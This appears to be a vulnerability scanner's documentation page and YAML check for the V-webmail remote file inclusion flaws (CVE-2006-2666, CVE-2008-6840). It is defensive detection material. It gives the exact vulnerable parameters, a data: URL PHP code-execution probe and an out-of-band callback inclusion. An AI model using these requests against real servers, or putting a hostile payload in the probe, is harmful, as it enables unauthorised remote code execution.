V-webmail — 1 vulnerability check
noctis ships 1 vulnerability check for V-webmail, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
V-webmail CONFIG[pear_dir] / CONFIG[includes] Remote File Inclusion
| CVE | CVE-2006-2666, CVE-2008-6840 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/v-webmail/v-webmail-config-rfi.yaml |
Tests V-webmail for the unauthenticated file inclusion in its library files, which build include paths from $CONFIG and can be requested directly: with register_globals on, includes/mailaccess/pop3.php includes CONFIG[pear_dir] followed by "Net/POP3.php" and includes/prepend.php includes CONFIG[includes] followed by "common.php". The feed requests both files under the usual install folders with the parameter set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, pop3.php is also given the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include error naming a random value followed by the file's suffix shows that the parameter reaches the include call unchecked. The snippet only prints a hash and writes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/includes/mailaccess/pop3.php?CONFIG%5Bpear_dir%5D={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
pop_rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: V-webmail pop3.php CONFIG[pear_dir] Remote File Inclusion (CVE-2006-2666) - HTTP(S) request
GET {{dir}}/includes/prepend.php?CONFIG%5Bincludes%5D={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
prep_rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: V-webmail prepend.php CONFIG[includes] Remote File Inclusion (CVE-2008-6840) - HTTP(S) request
GET {{dir}}/includes/mailaccess/pop3.php?CONFIG%5Bpear_dir%5D={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/includes/prepend.php?CONFIG%5Bincludes%5D={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- … and 5 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2006-2666
- https://nvd.nist.gov/vuln/detail/CVE-2008-6840
- https://www.exploit-db.com/exploits/1827
- http://packetstormsecurity.org/0807-exploits/vwebmail-rfi.txt
- https://sourceforge.net/projects/v-webmail/
Feed source — tests/vulnerabilities/v-webmail/v-webmail-config-rfi.yaml
# V-webmail CONFIG[pear_dir] / CONFIG[includes] remote file inclusion
# CVE-2006-2666 (includes/mailaccess/pop3.php) and CVE-2008-6840 (includes/prepend.php
# and other files under includes/)
#
# V-webmail (SourceForge project "v-webmail", last release 1.6.4, never fixed)
# keeps its web pages in <install>/htdocs/ and its libraries in <install>/includes/.
# htdocs/config.php sets $CONFIG['includes'] / $CONFIG['pear_dir'] before it
# includes prepend.php, but the library files do not guard against being
# requested directly. With register_globals on, a direct request sets $CONFIG
# from the query string:
#
# includes/mailaccess/pop3.php, line 10:
# require_once($CONFIG['pear_dir'] . 'Net/POP3.php');
# includes/prepend.php, first include (after a local.config.php check):
# include_once($CONFIG['includes'] . 'common.php');
#
# (read in the 1.6.4 tarball; advisories: exploit-db 1827 for pop3.php,
# Packet Storm vwebmail-rfi.txt / BID 30162 for the others).
#
# Detection, per install folder ("", /v-webmail, /webmail — the product
# detection's list — plus the tarball's /v-webmail-1.6.4 and /vwebmail), each with htdocs/ and includes/ below it):
# 1. In-band code execution (QoD 97): pop3.php?CONFIG[pear_dir]=<data: URL>,
# then prepend.php?CONFIG[includes]=<data: URL>. The data: URL holds
# <?php echo md5(A*B);exit;?> with random A and B; md5 of the product in
# the reply proves the server ran the code (allow_url_include, PHP >= 5.2).
# If the wrapper is refused, PHP's error quotes the code text, never the
# md5. No quotes in the code (magic_quotes_gpc-safe); nothing is written.
# 2. OOB (QoD 97, only when OOB is enabled): pop3.php with CONFIG[pear_dir]
# set to the callback URL plus "?" (the appended "Net/POP3.php" lands in
# the query string). A fetch proves the remote inclusion, also on PHP 4 /
# 5.0 / 5.1 (no data: wrapper) and on servers hiding PHP output.
# 3. Fallback (QoD 75): a random value; the reply must carry PHP's
# require_once()/include_once()/main() error naming "<random>Net/POP3.php"
# (pop3.php) or "<random>common.php" (prepend.php) — the value reached the
# include call unchecked.
# Each finding names only the CVE of the file it proved (pop3.php = CVE-2006-2666,
# prepend.php = CVE-2008-6840).
#
# CVSS: NVD v2 only — 7.5 (CVE-2006-2666), 6.8 (CVE-2008-6840); no v3 score.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_v-webmail_mult_file_inc_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800822, GPL-2.0-only). Improvements: real code
# execution / OOB proof instead of "SHELL" anywhere in a 200 reply (any page
# echoing its query string matched), the suffix-anchored error match, and no
# version-only report (every release is <= 1.6.4, so the source check's version
# fallback flagged every install, including ones with register_globals off or
# includes/ outside the web root, which are not exploitable).
uid: a37e1d38-f45b-46fe-9f6d-cc4c2f991584
name: "V-webmail CONFIG[pear_dir] / CONFIG[includes] Remote File Inclusion"
description: |
Tests V-webmail for the unauthenticated file inclusion in its library files,
which build include paths from $CONFIG and can be requested directly: with
register_globals on, includes/mailaccess/pop3.php includes CONFIG[pear_dir]
followed by "Net/POP3.php" and includes/prepend.php includes CONFIG[includes]
followed by "common.php". The feed requests both files under the usual
install folders with the parameter set to a data: URL carrying a small PHP
snippet that prints the md5 of the product of two random numbers; that md5
in the reply confirms that the server ran code supplied in the request.
When OOB is enabled, pop3.php is also given the scanner's callback URL, and
a fetch of that URL confirms the remote inclusion even when PHP output and
errors are hidden. Otherwise, a PHP include error naming a random value
followed by the file's suffix shows that the parameter reaches the include
call unchecked. The snippet only prints a hash and writes nothing on the
server.
cves: [CVE-2006-2666, CVE-2008-6840]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [v-webmail, webmail, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2006-2666"
- "https://nvd.nist.gov/vuln/detail/CVE-2008-6840"
- "https://www.exploit-db.com/exploits/1827"
- "http://packetstormsecurity.org/0807-exploits/vwebmail-rfi.txt"
- "https://sourceforge.net/projects/v-webmail/"
# OpenVAS/Greenbone NASL 2009/gb_v-webmail_mult_file_inc_vuln.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-pop-warn-proof
action: set_var
var_name: pop_warn_proof
var_value: ""
- id: init-pop-warn-dir
action: set_var
var_name: pop_warn_dir
var_value: ""
- id: init-prep-warn-proof
action: set_var
var_name: prep_warn_proof
var_value: ""
- id: init-prep-warn-dir
action: set_var
var_name: prep_warn_dir
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-pop-r
action: set_var
var_name: pop_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/v-webmail", "/webmail", "/v-webmail-1.6.4", "/vwebmail"]
- id: init-prep-r
action: set_var
var_name: prep_r
var_value: {status: 0, body: ""}
- id: init-pop-wr
action: set_var
var_name: pop_wr
var_value: {status: 0, body: ""}
- id: init-prep-wr
action: set_var
var_name: prep_wr
var_value: {status: 0, body: ""}
# ── 1a. pop3.php — data: URL in CONFIG[pear_dir] ─────────────────────────
- id: pop-rce-probe
action: http_request
method: GET
path: "{{dir}}/includes/mailaccess/pop3.php?CONFIG%5Bpear_dir%5D={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: pop_r
- id: pop-rce-check
action: script
code: |
if type_of(pop_r.body) == "string" && pop_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: pop_rce_proof
- id: report-pop-rce
action: match
source: pop_rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'pop_rce_proof != ""'
on_match:
finding:
title: "V-webmail pop3.php CONFIG[pear_dir] Remote File Inclusion (CVE-2006-2666)"
description: "An unauthenticated request to includes/mailaccess/pop3.php with CONFIG[pear_dir] set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. pop3.php passes CONFIG[pear_dir] to require_once() without any check, so an attacker can run any PHP code on the server."
cves: [CVE-2006-2666]
cvss: 7.5
severity: high
remediation: "V-webmail is no longer maintained and was never fixed: remove it from the server. Until then, make sure only the htdocs folder is reachable from the web (never includes/), disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/includes/mailaccess/pop3.php?CONFIG[pear_dir]=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{pop_rce_proof}} (included PHP code executed)"
stop: true
# ── 1b. prepend.php — data: URL in CONFIG[includes] ──────────────────────
- id: prep-rce-probe
action: http_request
method: GET
path: "{{dir}}/includes/prepend.php?CONFIG%5Bincludes%5D={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: prep_r
- id: prep-rce-check
action: script
code: |
if type_of(prep_r.body) == "string" && prep_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: prep_rce_proof
- id: report-prep-rce
action: match
source: prep_rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'prep_rce_proof != ""'
on_match:
finding:
title: "V-webmail prepend.php CONFIG[includes] Remote File Inclusion (CVE-2008-6840)"
description: "An unauthenticated request to includes/prepend.php with CONFIG[includes] set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. prepend.php passes CONFIG[includes] to include_once() without any check, so an attacker can run any PHP code on the server."
cves: [CVE-2008-6840]
cvss: 6.8
severity: medium
remediation: "V-webmail is no longer maintained and was never fixed: remove it from the server. Until then, make sure only the htdocs folder is reachable from the web (never includes/), disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/includes/prepend.php?CONFIG[includes]=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{prep_rce_proof}} (included PHP code executed)"
stop: true
# ── 3. Random value — include error naming it (fallback) ─────────────────
# Sent whatever the code probe got (no reply, or a 404 from a filter
# dropping "<?php"): this plain request may still get through.
- id: pop-warn-probe
action: http_request
method: GET
path: "{{dir}}/includes/mailaccess/pop3.php?CONFIG%5Bpear_dir%5D={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'pop_warn_proof == ""'
store_as: pop_wr
- id: pop-warn-check
action: script
code: |
let f = probe.marker + "Net/POP3.php";
let b = if type_of(pop_wr.body) == "string" { pop_wr.body } else { "" };
let hit = b.contains("Failed opening required '" + f + "'") || b.contains("Failed opening '" + f + "' for inclusion");
for w in ["require_once(", "require(", "include(", "include_once(", "main("] {
if b.contains(w + f + ")") { hit = true; }
}
hit
condition: 'pop_warn_proof == ""'
store_as: pop_warn_hit
- id: pop-warn-dir
action: script
code: "dir"
condition: 'pop_warn_proof == "" && pop_warn_hit'
store_as: pop_warn_dir
- id: pop-warn-proof
action: script
code: 'probe.marker + "Net/POP3.php"'
condition: 'pop_warn_proof == "" && pop_warn_hit'
store_as: pop_warn_proof
- id: prep-warn-probe
action: http_request
method: GET
path: "{{dir}}/includes/prepend.php?CONFIG%5Bincludes%5D={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'prep_warn_proof == ""'
store_as: prep_wr
- id: prep-warn-check
action: script
code: |
let f = probe.marker + "common.php";
let b = if type_of(prep_wr.body) == "string" { prep_wr.body } else { "" };
let hit = b.contains("Failed opening required '" + f + "'") || b.contains("Failed opening '" + f + "' for inclusion");
for w in ["include_once(", "include(", "require_once(", "require(", "main("] {
if b.contains(w + f + ")") { hit = true; }
}
hit
condition: 'prep_warn_proof == ""'
store_as: prep_warn_hit
- id: prep-warn-dir
action: script
code: "dir"
condition: 'prep_warn_proof == "" && prep_warn_hit'
store_as: prep_warn_dir
- id: prep-warn-proof
action: script
code: 'probe.marker + "common.php"'
condition: 'prep_warn_proof == "" && prep_warn_hit'
store_as: prep_warn_proof
# ── 2. Callback URL in pop3.php — remote inclusion seen out of band ──────
# Sent to every folder whose pop3.php does not answer 404, since a server
# hiding PHP errors gives no in-band sign. "%3F" makes the appended
# "Net/POP3.php" a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/includes/mailaccess/pop3.php?CONFIG%5Bpear_dir%5D={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && pop_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && pop_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "V-webmail pop3.php CONFIG[pear_dir] Remote File Inclusion (CVE-2006-2666)"
description: "An unauthenticated request to includes/mailaccess/pop3.php with CONFIG[pear_dir] set to the noctis callback URL made the server fetch that URL: pop3.php passes CONFIG[pear_dir] to require_once() without any check, so an attacker can make it fetch and run PHP code from a server they control."
cves: [CVE-2006-2666]
cvss: 7.5
severity: high
remediation: "V-webmail is no longer maintained and was never fixed: remove it from the server. Until then, make sure only the htdocs folder is reachable from the web (never includes/), disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/includes/mailaccess/pop3.php?CONFIG[pear_dir]=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback findings: include error naming the random value ─────────────
- id: report-pop-warn
action: match
source: pop_warn_proof
pattern: "^noctis[0-9A-Za-z]+Net/POP3\\.php$"
condition: 'pop_warn_proof != ""'
on_match:
finding:
title: "V-webmail pop3.php CONFIG[pear_dir] File Inclusion (CVE-2006-2666)"
description: "An unauthenticated request to includes/mailaccess/pop3.php with CONFIG[pear_dir] set to a random value returned a PHP include error for that value followed by Net/POP3.php: pop3.php passes CONFIG[pear_dir] to require_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
cves: [CVE-2006-2666]
cvss: 7.5
severity: high
remediation: "V-webmail is no longer maintained and was never fixed: remove it from the server. Until then, make sure only the htdocs folder is reachable from the web (never includes/), disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{pop_warn_dir}}/includes/mailaccess/pop3.php?CONFIG[pear_dir]={{probe.marker}} returned a PHP include error for {{pop_warn_proof}}"
- id: report-prep-warn
action: match
source: prep_warn_proof
pattern: "^noctis[0-9A-Za-z]+common\\.php$"
condition: 'prep_warn_proof != ""'
on_match:
finding:
title: "V-webmail prepend.php CONFIG[includes] File Inclusion (CVE-2008-6840)"
description: "An unauthenticated request to includes/prepend.php with CONFIG[includes] set to a random value returned a PHP include error for that value followed by common.php: prepend.php passes CONFIG[includes] to include_once() without any check. Code execution was not confirmed (URL inclusion may be disabled), but the include path is attacker-controlled."
cves: [CVE-2008-6840]
cvss: 6.8
severity: medium
remediation: "V-webmail is no longer maintained and was never fixed: remove it from the server. Until then, make sure only the htdocs folder is reachable from the web (never includes/), disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{prep_warn_dir}}/includes/prepend.php?CONFIG[includes]={{probe.marker}} returned a PHP include error for {{prep_warn_proof}}"
stop: true